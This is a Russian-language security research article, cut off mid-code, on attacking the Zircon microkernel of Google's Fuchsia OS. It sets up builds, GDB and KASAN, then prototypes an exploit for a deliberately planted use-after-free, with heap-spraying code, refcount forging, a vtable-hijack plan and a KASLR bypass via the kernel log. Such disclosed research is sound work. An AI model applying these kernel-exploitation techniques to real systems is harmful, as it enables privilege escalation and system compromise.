Fuchsia OS глазами атакующего

Прототип эксплойта в действииПрототип эксплойта в действии

Fuchsia — это операционная система общего назначения с открытым исходным кодом, разрабатываемая компанией Google. Эта операционная система построена на базе микроядра Zircon, код которого написан на C++. При проектировании Fuchsia приоритет был отдан безопасности, обновляемости и быстродействию.

Как исследователь безопасности ядра Linux я заинтересовался операционной системой Fuchsia и решил посмотреть на нее с точки зрения атакующего. В этой статье я поделюсь результатами своей работы.

Краткое содержание

  • Обзор архитектуры безопасности операционной системы Fuchsia.

  • Сборка Fuchsia из исходного кода, создание и запуск простейшего приложения.

  • Микроядро Zircon: основы разработки ядра для Fuchsia, его отладка с помощью GDB.

  • Результаты моих экспериментов по эксплуатации уязвимостей в микроядре Zircon:

    • Попытки фаззинга.

    • Эксплуатация повреждения памяти C++-объекта.

    • Перехват потока управления в ядре.

    • Установка руткита в Fuchsia.

  • Демонстрация прототипа эксплойта.

Я придерживаюсь принципов ответственного разглашения информации, поэтому сообщил мейнтейнерам Fuchsia о проблемах безопасности, обнаруженных в ходе этого исследования.

Что такое Fuchsia OS

Fuchsia — это операционная система общего назначения с открытым исходным кодом. Компания Google начала ее разработку в 2016 году. В декабре 2020 года этот проект был открыт для внешних участников, а в мае 2021 года Google впервые выпустила Fuchsia на устройствах Nest Hub для управления умным домом. Операционная система поддерживает микроархитектуры arm64 и x86_64. Разработка Fuchsia сейчас находится в активной фазе, проект выглядит живым, поэтому я решил поэкспериментировать с ним.

a4cc04950ae7daa0ba4efd9d8bc673ab.png

Рассмотрим основные концепции, на которых базируется архитектура Fuchsia. Эта ОС разрабатывается для целого спектра устройств: IoT, смартфонов, персональных рабочих станций. Разработчики Fuchsia уделяют особое внимание ее безопасности и обновляемости. Как результат, эта операционная система имеет необычную архитектуру безопасности:

  • Главное — в Fuchsia отсутствует концепция пользователя. Вместо этого разграничение доступа в ней основано на разрешениях (capabilities). Приложениям в пользовательском пространстве ядро предоставляет свои ресурсы в виде объектов, доступ к которым требует соответствующих разрешений. Иными словами, приложение не может использовать ядерный ресурс без выданного разрешения. Все приложения в Fuchsia имеют минимальные привилегии, необходимые для выполнения задачи. Поэтому в системе с такой архитектурой атака для повышения привилегий отличается от того, к чему мы привыкли в GNU/Linux-системах, где атакующий исполняет код как непривилегированный пользователь и эксплуатирует некоторую уязвимость для получения привилегий суперпользователя.

  • Второй интересный аспект — Fuchsia является микроядерной ОС. Это во многом определяет ее свойства безопасности. По сравнению с ядром Linux большое количество функциональности вынесено из микроядра Zircon в пользовательское пространство. Это существенно уменьшает периметр атаки ядра. Ниже представлена схема из документации Fuchsia, которая демонстрирует, что Zircon выполняет значительно меньше функций по сравнению с классическими монолитными ядрами ОС. Вместе с тем разработчики Zircon не стремятся сделать его совсем крошечным: в нем реализовано 176 системных вызовов, что намного больше, чем обычно бывает в других микроядрах.

    d90829848e2f69c80828290280fe45de.png
  • Еще одно архитектурное решение, которое влияет на безопасность системы, — это изоляция компонентов (sandboxing). Компонентами называются приложения и системные сервисы в Fuchsia. Каждый из них работает в изолированном окружении — песочнице (sandbox), и все межпроцессное взаимодействие (inter-process communication, IPC) между ними явно декларируется. В Fuchsia даже нет глобальной файловой системы. Вместо этого каждому компоненту выдается отдельное пространство для работы с файлами. Это архитектурное решение явно увеличивает изоляцию и безопасность программного обеспечения в пользовательском пространстве. Вместе с тем, на мой взгляд, это делает микроядро Zircon особенно интересной целью для атакующего, поскольку Zircon предоставляет интерфейсы системных вызовов всем компонентам операционной системы.

  • Наконец, Fuchsia имеет необычную схему доставки и обновления ПО. Приложения идентифицируются с помощью URL и скачиваются системой непосредственно перед их запуском. Такое архитектурное решение было выбрано для того, чтобы программные пакеты в Fuchsia всегда были в актуальном состоянии (наподобие веб-страниц).

    3ef6e2410e329e67111555eeb48585f9.png

Из-за перечисленных свойств безопасности Fuchsia я заинтересовался этой операционной системой и решил исследовать ее с точки зрения атакующего.

Первый запуск

В документации Fuchsia представлено хорошее руководство по быстрому старту. В нем дается ссылка на скрипт, который проверит, есть ли в вашей GNU/Linux-системе полный набор инструментов для разработки Fuchsia:

$ ./ffx-linux-x64 platform preflight

При запуске этот скрипт сообщает, что дистрибутивы, не родственные Debian, не поддерживаются. При этом я не заметил никаких проблем со сборкой Fuchsia на Fedora 34.

В документации также объясняется, как скачать исходный код Fuchsia и настроить переменные окружения, необходимые для компиляции. Вот команды, с помощью которых выполняется сборка системы в варианте workstation product для микроархитектуры x86_64:

$ fx clean
$ fx set workstation.x64 --with-base //bundles:tools
$ fx build

После сборки операционная система может быть запущена в эмуляторе FEMU (Fuchsia emulator). FEMU базируется эмуляторе Android (AEMU), который, в свою очередь, является форком QEMU.

$ fx vdl start -N

10038f284042d0cad10af57a46f83a63.png

Создаем приложение для Fuchsia

Теперь давайте создадим простейшее приложение hello world для Fuchsia. Как я уже упоминал, программы для Fuchsia называются компонентами. Вот эта команда создает шаблон нового компонента на языке C++:

$ fx create component --path src/a13x-pwns-fuchsia --lang cpp

Компонент будет писать приветствие в системный журнал (Fuchsia log):

#include 

int main(int argc, const char** argv)
{
  std::cout << "Hello from a13x, Fuchsia!\n";
  return 0;
}

В манифесте компонента src/a13x-pwns-fuchsia/meta/a13x_pwns_fuchsia.cml должна быть разрешена работа с системным журналом:

program: {
    // Use the built-in ELF runner.
    runner: "elf",

    // The binary to run for this component.
    binary: "bin/a13x-pwns-fuchsia",

    // Enable stdout logging
    forward_stderr_to: "log",
    forward_stdout_to: "log",
},

Вот команды, которые собирают Fuchsia с новым компонентом:

$ fx set workstation.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia
$ fx build

После компиляции мы можем протестировать систему с новым компонентом:

  1. Запускаем FEMU с помощью команды fx vdl start -N в первом терминале нашей GNU/Linux-системы.

  2. Запускаем сервер публикации пакетов Fuchsia во втором терминале с помощью команды fx serve.

  3. Выполнив команду fx log, открываем системный журнал Fuchsia в третьем терминале.

  4. Запускаем новый компонент в Fuchsia с помощью команды ffx в четвертом терминале:

$ ffx component run fuchsia-pkg://fuchsia.com/a13x-pwns-fuchsia#meta/a13x_pwns_fuchsia.cm --recreate

ffed71a3007c3ba37220dcae3ab0b082.png

На снимке экрана можно увидеть, как Fuchsia нашла компонент по URL, загрузила его с сервера публикации пакетов и запустила. В результате компонент напечатал сообщение Hello from a13x, Fuchsia! в системном журнале, показанном в третьем терминале.

Обычный день разработчика Zircon

Теперь рассмотрим, какими инструментами пользуется разработчик микроядра Zircon в своей повседневной работе. Код Zircon на языке C++ является частью исходного кода Fuchsia и находится в директории zircon/kernel. Сборка микроядра происходит при компиляции Fuchsia. Для разработки и отладки требуется запускать Zircon в QEMU с помощью команды fx qemu -N, однако у меня система выдала ошибку при первом же выполнении команды:

$ fx qemu -N
Building multiboot.bin, fuchsia.zbi, obj/build/images/fuchsia/fuchsia/fvm.blk
ninja: Entering directory `/home/a13x/develop/fuchsia/src/fuchsia/out/default'
ninja: no work to do.
ERROR: Could not extend FVM, unable to stat FVM image out/default/obj/build/images/fuchsia/fuchsia/fvm.blk

Я обнаружил, что ошибка появляется, только если на системе настроена локаль, отличная от английской. Эта неполадка известна уже давно. Понятия не имею, почему имеющееся исправление до сих пор не принято в Fuchsia OS. С ним Fuchsia успешно стартует на виртуальной машине, созданной в QEMU/KVM:

diff --git a/tools/devshell/lib/fvm.sh b/tools/devshell/lib/fvm.sh
index 705341e482c..5d1c7658d34 100644
--- a/tools/devshell/lib/fvm.sh
+++ b/tools/devshell/lib/fvm.sh
@@ -35,3 +35,3 @@ function fx-fvm-extend-image {
   fi
-  stat_output=$(stat "${stat_flags[@]}" "${fvmimg}")
+  stat_output=$(LC_ALL=C stat "${stat_flags[@]}" "${fvmimg}")
   if [[ "$stat_output" =~ Size:\ ([0-9]+) ]]; then

Запуск Fuchsia в QEMU/KVM позволяет выполнять отладку микроядра Zircon с помощью GDB. Вот как это выглядит на практике:

  1. Запускаем Fuchsia:

$ fx qemu -N -s 1 --no-kvm -- -s
  • Аргумент -s 1 задает количество процессорных ядер у виртуальной машины. Запуск с одним vCPU существенно упрощает работу с отладчиком.

  • Аргумент --no-kvm отключает аппаратную виртуализацию. Он полезен, если вам необходима пошаговая отладка (single-stepping). Без этого аргумента после каждой команды stepi или nexti отладчик будет проваливаться в обработчик прерывания, которое доставил гипервизор KVM. Однако, естественно, в режиме --no-kvm виртуальная машина с Fuchsia будет работать сильно медленнее, чем с аппаратной виртуализацией.

  • Аргумент -s в конце команды задействует gdbserver, который открывает сетевой порт 1234.

  1. Разрешаем выполнение GDB-скрипта для Zircon. Он предоставляет следующие функции:

  • Адаптация к рандомизации адресного пространства ядра (KASLR) для корректного размещения точек останова (breakpoints).

  • Специальные команды GDB с префиксом zircon.

  • Улучшенное отображение сообщений об отказах микроядра Zircon.

$ cat ~/.gdbinit
add-auto-load-safe-path /home/a13x/develop/fuchsia/src/fuchsia/out/default/kernel_x64/zircon.elf-gdb.py
  1. Запускаем GDB-клиент и подключаемся к GDB-серверу виртуальной машины с Fuchsia:

$ cd /home/a13x/develop/fuchsia/src/fuchsia/out/default/
$ gdb kernel_x64/zircon.elf
(gdb) target extended-remote :1234

Эта процедура позволяет отлаживать микроядро Zircon в GDB, как мы привыкли это делать с ядром Linux. Однако на моей машине упомянутый GDB-скрипт для Zircon безнадежно зависал при каждом запуске — пришлось разбираться. Оказалось, что он вызывает GDB-команду add-symbol-file с параметром -readnow, который требует от отладчика немедленно обработать все символы из 110-мегабайтного исполняемого файла Zircon. По какой-то причине у GDB не получается сделать это за обозримое время, и кажется, будто отладчик завис. Без параметра -readnow проблема исчезла, и я получил нормальную отладку микроядра Zircon в GDB:

diff --git a/zircon/kernel/scripts/zircon.elf-gdb.py b/zircon/kernel/scripts/zircon.elf-gdb.py
index d027ce4af6d..8faf73ba19b 100644
--- a/zircon/kernel/scripts/zircon.elf-gdb.py
+++ b/zircon/kernel/scripts/zircon.elf-gdb.py
@@ -798,3 +798,3 @@ def _offset_symbols_and_breakpoints(kernel_relocated_base=None):
     # Reload the ELF with all sections set
-    gdb.execute("add-symbol-file \"%s\" 0x%x -readnow %s" \
+    gdb.execute("add-symbol-file \"%s\" 0x%x %s" \
                 % (sym_path, text_addr, " ".join(args)), to_string=True)

0ef007c8611ba6455f735af7f78f16fc.png

Подбираемся к безопасности Fuchsia: включение KASAN

KASAN (Kernel Address SANitizer) — это технология обнаружения повреждения ядерной памяти. Она позволяет находить выход за границу массива (out-of-bounds accesses) и использование памяти после освобождения (use after free). В Fuchsia поддерживается компиляция микроядра Zircon с инструментацией KASAN. Я решил испробовать эту функциональность и собрал Fuchsia в варианте core product:

$ fx set core.x64 --with-base //bundles:tools --with-base //src/a13x-pwns-fuchsia --variant=kasan
$ fx build

Чтобы протестировать, как KASAN ловит повреждения ядерной памяти, я добавил синтетическую ошибку освобождения памяти в код Fuchsia, работающий с объектом TimerDispatcher:

diff --git a/zircon/kernel/object/timer_dispatcher.cc b/zircon/kernel/object/timer_dispatcher.cc
index a83b750ad4a..14535e23ca9 100644
--- a/zircon/kernel/object/timer_dispatcher.cc
+++ b/zircon/kernel/object/timer_dispatcher.cc
@@ -184,2 +184,4 @@ void TimerDispatcher::OnTimerFired() {
 
+  bool uaf = false;
+
   {
@@ -187,2 +189,6 @@ void TimerDispatcher::OnTimerFired() {
 
+    if (deadline_ % 100000 == 31337) {
+      uaf = true;
+    }
+
     if (cancel_pending_) {
@@ -210,3 +216,3 @@ void TimerDispatcher::OnTimerFired() {
   // ourselves.
-  if (Release())
+  if (Release() || uaf)
     delete this;

Если таймер выставляется на задержку, значение которой заканчивается цифрами 31337, то память объекта TimerDispatcher освобождается вне зависимости от счетчика ссылок (refcount). Я захотел спровоцировать эту ядерную ошибку из моего компонента в пользовательском пространстве, чтобы увидеть, как ядро уходит в отказ и отображает отчет KASAN. Для этого я добавил следующий код в мой компонент a13x-pwns-fuchsia:

  zx_status_t status;
  zx_handle_t timer;
  zx_time_t deadline;

  status = zx_timer_create(ZX_TIMER_SLACK_LATE, ZX_CLOCK_MONOTONIC, &timer);
  if (status != ZX_OK) {
    printf("[-] creating timer failed\n");
    return 1;
  }

  printf("[+] timer is created\n");

  deadline = zx_deadline_after(ZX_MSEC(500));
  deadline = deadline - deadline % 100000 + 31337;
  status = zx_timer_set(timer, deadline, 0);
  if (status != ZX_OK) {
    printf("[-] setting timer failed\n");
    return 1;
  }

  printf("[+] timer is set with deadline %ld\n", deadline);
  fflush(stdout);
  zx_nanosleep(zx_deadline_after(ZX_MSEC(800))); // timer fired

  zx_timer_cancel(timer); // hit UAF

Здесь компонент сначала выполняет системный вызов zx_timer_create(). Он инициализирует таймер и возвращает в пользовательское пространство специальный указатель на него (handle), имеющий тип zx_handle_t. Затем для таймера устанавливается задержка, значение которой заканчивается «элитными» цифрами 31337. Пока программа ожидает на вызове zx_nanosleep(), Zircon освобождает память сработавшего таймера. А последующий системный вызов zx_timer_cancel() для удаленного таймера приводит к использованию памяти после освобождения.

KASAN обнаруживает повреждение ядерной памяти и уводит микроядро в отказ при выполнении этого кода в пользовательском пространстве. Вместе с тем в ядерном логе распечатывается вот такой замечательный отчет:

ZIRCON KERNEL PANIC

UPTIME: 17826ms, CPU: 2
...

KASAN detected a write error: ptr={data:0xffffff806cd31ea8}, size=0x4, caller: {pc:0xffffffff003c169a}
Shadow memory state around the buggy address 0xffffffe00d9a63d5:
0xffffffe00d9a63c0: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63c8: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0xffffffe00d9a63d0: 0xfa 0xfa 0xfa 0xfa 0xfd 0xfd 0xfd 0xfd
                                              ^^           
0xffffffe00d9a63d8: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd
0xffffffe00d9a63e0: 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd 0xfd

*** KERNEL PANIC (caller pc: 0xffffffff0038910d, stack frame: 0xffffff97bd72ee70):
...

Halted
entering panic shell loop
! 

Отлично, KASAN работает. Zircon также выводит трассу исполнения (backtrace), но в нечитаемом виде, как цепочку ядерных указателей. Чтобы это исправить, нужно обработать содержимое ядерного журнала с помощью специального инструмента:

$ cat crash.txt | fx symbolize > crash_sym.txt

Вот как трасса исполнения выглядит после fx symbolize:

dso: id=58d07915d755d72e base=0xffffffff00100000 name=zircon.elf
   #0    0xffffffff00324b7d in platform_specific_halt(platform_halt_action, zircon_crash_reason_t, bool) ../../zircon/kernel/platform/pc/power.cc:154 +0xffffffff80324b7d
   #1    0xffffffff005e4610 in platform_halt(platform_halt_action, zircon_crash_reason_t) ../../zircon/kernel/platform/power.cc:65 +0xffffffff805e4610
   #2.1  0xffffffff0010133e in $anon::PanicFinish() ../../zircon/kernel/top/debug.cc:59 +0xffffffff8010133e
   #2    0xffffffff0010133e in panic(const char*) ../../zircon/kernel/top/debug.cc:92 +0xffffffff8010133e
   #3    0xffffffff0038910d in asan_check(uintptr_t, size_t, bool, void*) ../../zircon/kernel/lib/instrumentation/asan/asan-poisoning.cc:180 +0xffffffff8038910d
   #4.4  0xffffffff003c169a in std::__2::__cxx_atomic_fetch_add(std::__2::__cxx_atomic_base_impl*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1002 +0xffffffff803c169a
   #4.3  0xffffffff003c169a in std::__2::__atomic_base::fetch_add(std::__2::__atomic_base*, int, std::__2::memory_order) ../../prebuilt/third_party/clang/linux-x64/include/c++/v1/atomic:1686 +0xffffffff803c169a
   #4.2  0xffffffff003c169a in fbl::internal::RefCountedBase::AddRef(const fbl::internal::RefCountedBase*) ../../zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:39 +0xffffffff803c169a
   #4.1  0xffffffff003c169a in fbl::RefPtr::operator=(const fbl::RefPtr&, fbl::RefPtr*) ../../zircon/system/ulib/fbl/include/fbl/ref_ptr.h:89 +0xffffffff803c169a
   #4    0xffffffff003c169a in HandleTable::GetDispatcherWithRightsImpl(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr*, zx_rights_t*, bool) ../../zircon/kernel/object/include/object/handle_table.h:243 +0xffffffff803c169a
   #5.2  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr*, zx_rights_t*) ../../zircon/kernel/object/include/object/handle_table.h:108 +0xffffffff803d3f02
   #5.1  0xffffffff003d3f02 in HandleTable::GetDispatcherWithRights(HandleTable*, zx_handle_t, zx_rights_t, fbl::RefPtr*) ../../zircon/kernel/object/include/object/handle_table.h:116 +0xffffffff803d3f02
   #5    0xffffffff003d3f02 in sys_timer_cancel(zx_handle_t) ../../zircon/kernel/lib/syscalls/timer.cc:67 +0xffffffff803d3f02
   #6.2  0xffffffff003e1ef1 in λ(const wrapper_timer_cancel::(anon class)*, ProcessDispatcher*) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1170 +0xffffffff803e1ef1
   #6.1  0xffffffff003e1ef1 in do_syscall<(lambda at gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169:85)>(uint64_t, uint64_t, bool (*)(uintptr_t), wrapper_timer_cancel::(anon class)) ../../zircon/kernel/lib/syscalls/syscalls.cc:106 +0xffffffff803e1ef1
   #6    0xffffffff003e1ef1 in wrapper_timer_cancel(SafeSyscallArgument::RawType, uint64_t) gen/zircon/vdso/include/lib/syscalls/kernel-wrappers.inc:1169 +0xffffffff803e1ef1
   #7    0xffffffff005618e8 in gen/zircon/vdso/include/lib/syscalls/kernel.inc:1103 +0xffffffff805618e8

Здесь можно видеть, что обработчик wrapper_timer_cancel() системного вызова выполняет функцию sys_timer_cancel(), где GetDispatcherWithRightsImpl() обращается ко счетчику ссылок (reference counter), расположенному в освобожденной памяти объекта TimerDispatcher. Эта ошибка обнаруживается в функции asan_check(), принадлежащей механизму KASAN. В итоге работа ядра прерывается с помощью вызова panic().

Эта трасса исполнения детально описывает, как на самом деле работает код функции sys_timer_cancel():

// zx_status_t zx_timer_cancel
zx_status_t sys_timer_cancel(zx_handle_t handle) {
  auto up = ProcessDispatcher::GetCurrent();

  fbl::RefPtr timer;
  zx_status_t status = up->handle_table().GetDispatcherWithRights(handle, ZX_RIGHT_WRITE, &timer);
  if (status != ZX_OK)
    return status;

  return timer->Cancel();
}

Когда я получил работающий KASAN для Fuchsia, я почувствовал, что готов начать исследование с позиции атакующего.

syzkaller для Fuchsia (сломан)

После изучения основ ядерной разработки Fuchsia и тестирования KASAN я приступил к экспериментам с безопасностью. Я поставил цель — разработать прототип эксплойта для уязвимости в Zircon, и в первую очередь мне нужно было найти подходящую уязвимость. Для поиска я решил использовать фаззинг.

Есть прекрасный фаззер для ядер операционных систем, который называется syzkaller. Мне очень нравится этот проект, я уже давно использую его для фаззинга ядра Linux. В документации говорится, что syzkaller поддерживает фаззинг Fuchsia, поэтому я сразу решил это попробовать.

Однако возникли трудности из-за необычной схемы доставки ПО для Fuchsia, о которой говорилось выше. Системный образ Fuchsia для фаззинга должен содержать программу syz-executor в качестве компонента. syz-executor — это часть проекта syzkaller, которая отвечает за выполнение фаззинга системных вызовов в виртуальной машине. Мне не удалось собрать образ Fuchsia с этим компонентом.

Вначале я попробовал скомпилировать Fuchsia с исходниками syzkaller, размещенными во внешней директории. Этот способ не сработал, хотя он рекомендуется в документации:

$ fx --dir "out/x64" set core.x64 \
  --with-base "//bundles:tools" \
  --with-base "//src/testing/fuzzing/syzkaller" \
  --args=syzkaller_dir='"/home/a13x/develop/gopath/src/github.com/google/syzkaller/"'
ERROR at //build/go/go_library.gni:43:3 (//build/toolchain:host_x64): Assertion failed.
   assert(defined(invoker.sources), "sources is required for go_library")
   ^-----
sources is required for go_library
See //src/testing/fuzzing/syzkaller/BUILD.gn:106:3: whence it was called.
   go_library("syzkaller-go") {
   ^---------------------------
See //src/testing/fuzzing/syzkaller/BUILD.gn:85:5: which caused the file to be included.
     ":run-sysgen($host_toolchain)",
     ^-----------------------------
ERROR: error running gn gen: exit status 1

Я попытался отладить систему сборки Fuchsia и выяснил, что она неправильно обрабатывает аргумент syzkaller_dir, но починить это мне не удалось.

Затем я обнаружил, что в исходном коде Fuchsia в директории third_party/syzkaller/ хранится локальная копия исходников syzkaller. Система сборки использует ее, если не задан аргумент --args=syzkaller_dir, но эта копия syzkaller старая: в ней отсутствуют все коммиты после 2 июня 2020 года. Я попробовал собрать текущую версию Fuchsia с этой старой версией фаззера, что также не удалось сделать из-за перемещения файлов и множества изменений в системных вызовах Fuchsia, которые произошли с того момента.

Тогда я попробовал обновить версию фаззера в директории third_party/syzkaller/ в надежде, что свежие коммиты в репозитории syzkaller помогут синхронизироваться с текущей версией Fuchsia. Но эта затея также провалилась, потому что для сборки актуальной версии syz-executor требуется внести значительные изменения в его сборочный файл BUILD.gn.

В итоге ситуация выглядит так: интеграция операционной системы Fuchsia с фаззером syzkaller, возможно, и работала когда-то в 2020 году, но сейчас она сломана. По истории разработки Fuchsia в системе контроля версий я нашел авторов этого кода и отправил им электронное письмо, в котором детально описал все обнаруженные неполадки и попросил помощи, но ответа не получил.

Чем больше времени я тратил на борьбу с системой сборки Fuchsia, тем больше начинал сердиться.

Трудный выбор дальнейшей стратегии

Тогда я крепко задумался о стратегии моих дальнейших исследований.

В. М. Васнецов. «Витязь на распутье». 1882 годВ.М. Васнецов. «Витязь на распутье». 1882 год

Без фаззинга для успешного поиска уязвимостей обязательно требуются:

  1. хорошее знание кодовой базы атакуемой системы;

  2. глубокое понимание ее периметра атаки.

Чтобы приобрести эти знания об операционной системе Fuchsia, мне пришлось бы потратить много времени и сил. Хотел ли я этого при моем первом знакомстве с Fuchsia? Пожалуй, нет, потому что:

  • неразумно тратить большое количество ресурсов на первое ознакомительное исследование;

  • по первому впечатлению, Fuchsia оказалась менее подготовлена к промышленному использованию, чем я ожидал.

Поэтому скрепя сердце я решил пока не жадничать и отложить поиск уязвимостей нулевого дня (zero-day) в микроядре Zircon. Вместо этого я задумал разработать прототип эксплойта для той синтетической уязвимости, которую я использовал при тестировании KASAN. В конечном итоге это оказалось удачным решением, поскольку я относительно быстро получил результат, а также смог найти несколько проблем безопасности в Zircon.

Нам нужен спрей!

Таким образом, я сосредоточился на эксплуатации использования памяти после освобождения для объекта TimerDispatcher. Моя стратегия состояла в том, чтобы перезаписать освобожденный TimerDispatcher контролируемыми данными и тем самым спровоцировать нештатную работу микроядра Zircon, которой я как атакующий смогу управлять.

3ac52521e8297255b711536faa2d7190.png

В первую очередь для перезаписи объекта TimerDispatcher мне нужно было реализовать технику эксплуатации heap spraying, которая:

  1. может быть использована атакующим из непривилегированного кода в пользовательском пространстве;

  2. заставляет Zircon выделить множество новых ядерных объектов (вот почему это называется спреем), один из которых с большой вероятностью попадет на место освобожденного;

  3. заставляет Zircon наполнить этот новый ядерный объект данными атакующего, скопированными из пользовательского пространства.

Из своего опыта эксплуатации уязвимостей для ядра Linux я знал, что heap spraying обычно конструируется с помощью средств межпроцессного взаимодействия (IPC). Базовые системные вызовы, предоставляющие IPC, доступны непривилегированным программам, что соответствует первому из трех названных мной свойств heap spraying. Такие системные вызовы копируют пользовательские данные в адресное пространство ядра, чтобы затем передать их получателю, — это свойство номер три. И, наконец, некоторые системные вызовы, предоставляющие IPC, позволяют задавать размер передаваемых данных, что дает атакующему возможность контролировать поведение ядерного аллокатора и позволяет перезаписать освобожденный целевой объект, — это соответствует свойству номер два.

Чтобы сконструировать heap spraying для микроядра Zircon, я принялся изучать его системные вызовы, предоставляющие IPC, и отыскал Zircon FIFO. Это очереди для передачи сообщений, с помощью которых отлично получилось реализовать технику heap spraying. Когда выполняется системный вызов zx_fifo_create(), Zircon создает пару объектов FifoDispatcher (этот код можно посмотреть в файле zircon/kernel/object/fifo_dispatcher.cc). Для каждого из них выделяется запрашиваемое количество ядерной памяти под данные:

  auto data0 = ktl::unique_ptr(new (&ac) uint8_t[count * elemsize]);
  if (!ac.check())
    return ZX_ERR_NO_MEMORY;

  KernelHandle fifo0(fbl::AdoptRef(
      new (&ac) FifoDispatcher(ktl::move(holder0), options, static_cast(count),
                               static_cast(elemsize), ktl::move(data0))));
  if (!ac.check())
    return ZX_ERR_NO_MEMORY;

С помощью отладчика я определил, что размер освобожденного объекта TimerDispatcher составляет 248 байт. Я попробовал создать несколько FIFO-объектов такого же размера, и это сработало: в отладчике я увидел, что TimerDispatcher перезаписан данными одного из объектов FifoDispatcher! Вот код, выполняющий heap spraying в моем прототипе эксплойта:

  printf("[!] do heap spraying...\n");

#define N 10
  zx_handle_t out0[N];
  zx_handle_t out1[N];
  size_t write_result = 0;

  for (int i = 0; i < N; i++) {
    status = zx_fifo_create(31, 8, 0, &out0[i], &out1[i]);
    if (status != ZX_OK) {
      printf("[-] creating a fifo %d failed\n", i);
      return 1;
    }
  }

Здесь системный вызов zx_fifo_create() выполняется десять раз. При каждом вызове создается пара очередей из 31 элемента по 8 байт. То есть при выполнении этого кода в ядре создается 20 объектов FifoDispatcher с буферами данных размером 248 байт. Zircon размещает один из этих буферов на месте освобожденного TimerDispatcher, который имел такой же размер.

Далее очереди наполняются данными, специально подготовленными для перезаписи содержимого объекта TimerDispatcher: их называют heap spraying payload.

  for (int i = 0; i < N; i++) {
    status = zx_fifo_write(out0[i], 8, spray_data, 31, &write_result);
    if (status != ZX_OK || write_result != 31) {
      printf("[-] writing to fifo 0-%d failed, error %d, result %zu\n", i, status, write_result);
      return 1;
    }
    status = zx_fifo_write(out1[i], 8, spray_data, 31, &write_result);
    if (status != ZX_OK || write_result != 31) {
      printf("[-] writing to fifo 1-%d failed, error %d, result %zu\n", i, status, write_result);
      return 1;
    }
  }

  printf("[+] heap spraying is finished\n");

Хорошо. Я получил возможность изменить содержимое ядерного объекта TimerDispatcher. Но что же нужно в него записать, чтобы атаковать Zircon?

Анатомия объекта в C++

Я привык к тому, что в Linux ядерные объекты описываются структурами на языке C. Метод ядерного объекта там может быть реализован с помощью указателя на функцию, который хранится в поле соответствующей структуры. Поэтому раскладка данных объекта в памяти ядра Linux обычно простая и наглядная.

Когда же я стал изучать внутреннее устройство C++-объектов микроядра Zircon, их раскладка в памяти показалась мне более сложной и запутанной. Я решил разобраться с анатомией объекта TimerDispatcher и попробовал распечатать его в отладчике с помощью команды print -pretty on -vtbl on. В ответ GDB вывел огромную иерархию вложенных друг в друга классов, которую мне не удалось соотнести с конкретными байтами в ядерной памяти. Затем для класса TimerDispatcher я попробовал применить утилиту pahole. Получилось лучше: она распечатала отступы полей внутри классов, но не помогла мне понять, как там реализованы методы. Наследование классов сильно усложняло всю картину.

Тогда я решил не тратить время на изучение анатомии объекта TimerDispatcher и вместо этого пошел напролом. С помощью heap spraying я заменил все содержимое TimerDispatcher нулями и стал смотреть, что произойдет. Микроядро Zircon ушло в отказ на проверке счетчика ссылок в zircon/system/ulib/fbl/include/fbl/ref_counted_internal.h:57:

    const int32_t rc = ref_count_.fetch_add(1, std::memory_order_relaxed);

    //...
    if constexpr (EnableAdoptionValidator) {
      ZX_ASSERT_MSG(rc >= 1, "count %d(0x%08x) < 1\n", rc, static_cast(rc));
    }

Это не проблема. С помощью отладчика я определил, что этот счетчик хранится по отступу в 8 байт от начала объекта TimerDispatcher. Чтобы Zircon не падал на данной проверке, я задал ненулевое значение в соответствующем байте для heap spraying:

  unsigned int *refcount_ptr = (unsigned int *)&spray_data[8];

  *refcount_ptr = 0x1337C0DE;

Тогда запуск прототипа эксплойта на Fuchsia прошел дальше по коду ядра и окончился уже другим падением Zircon, которое оказалось более интересным с точки зрения атакующего. Микроядро выполнило разыменование нулевого указателя в функции HandleTable::GetDispatcherWithRights. Пошаговая отладка в GDB помогла мне выяснить, что ошибка происходит вот в этом чародействе на C++:

// Dispatcher -> FooDispatcher
template 
fbl::RefPtr DownCastDispatcher(fbl::RefPtr* disp) {
  return (likely(DispatchTag::ID == (*disp)->get_type()))
             ? fbl::RefPtr::Downcast(ktl::move(*disp))
             : nullptr;
}

Здесь Zircon вызывает публичный метод get_type() для класса TimerDispatcher. Адрес этой функции определяется с помощью таблицы виртуальных методов (или C++ vtable). Указатель на такую таблицу находится в самом начале объекта TimerDispatcher. Эту функциональность можно использовать для перехвата потока управления (control-flow hijacking), и тогда не нужно искать подходящие ядерные объекты, содержащие указатели на функции (как это требуется в аналогичных атаках для ядра Linux).

Обход защиты KASLR для Zircon

Для перехвата потока управления нужно знать адреса ядерных функций, которые зависят от KASLR — защитного механизма, выполняющего рандомизацию расположения адресного пространства ядра (kernel address space layout randomization). С его помощью код ядра располагается по случайному отступу от фиксированного адреса. В исходном коде Zircon механизм KASLR упоминается множество раз. Вот пример из файла zircon/kernel/params.gni:

  # Virtual address where the kernel is mapped statically.  This is the
  # base of addresses that appear in the kernel symbol table.  At runtime
  # KASLR relocation processing adjusts addresses in memory from this base
  # to the actual runtime virtual address.
  if (current_cpu == "arm64") {
    kernel_base = "0xffffffff00000000"
  } else if (current_cpu == "x64") {
    kernel_base = "0xffffffff80100000"  # Has KERNEL_LOAD_OFFSET baked into it.
  }

Чтобы обойти защиту KASLR, я решил применить один из своих трюков для ядра Linux. Мой прототип эксплойта для CVE-2021–26708 использовал утечку информации из журнала ядра Linux, чтобы определить секретный отступ KASLR. В операционной системе Fuchsia ядерный журнал также содержит ценную информацию для атакующего. Поэтому я решил попытаться прочитать журнал микроядра Zircon из моего непривилегированного компонента в пользовательском пространстве. Для этого я добавил строку use: [ { protocol: "fuchsia.boot.ReadOnlyLog" } ] в манифест компонента и попробовал открыть ядерный журнал:

  zx::channel local, remote;
  zx_status_t status = zx::channel::create(0, &local, &remote);
  if (status != ZX_OK) {
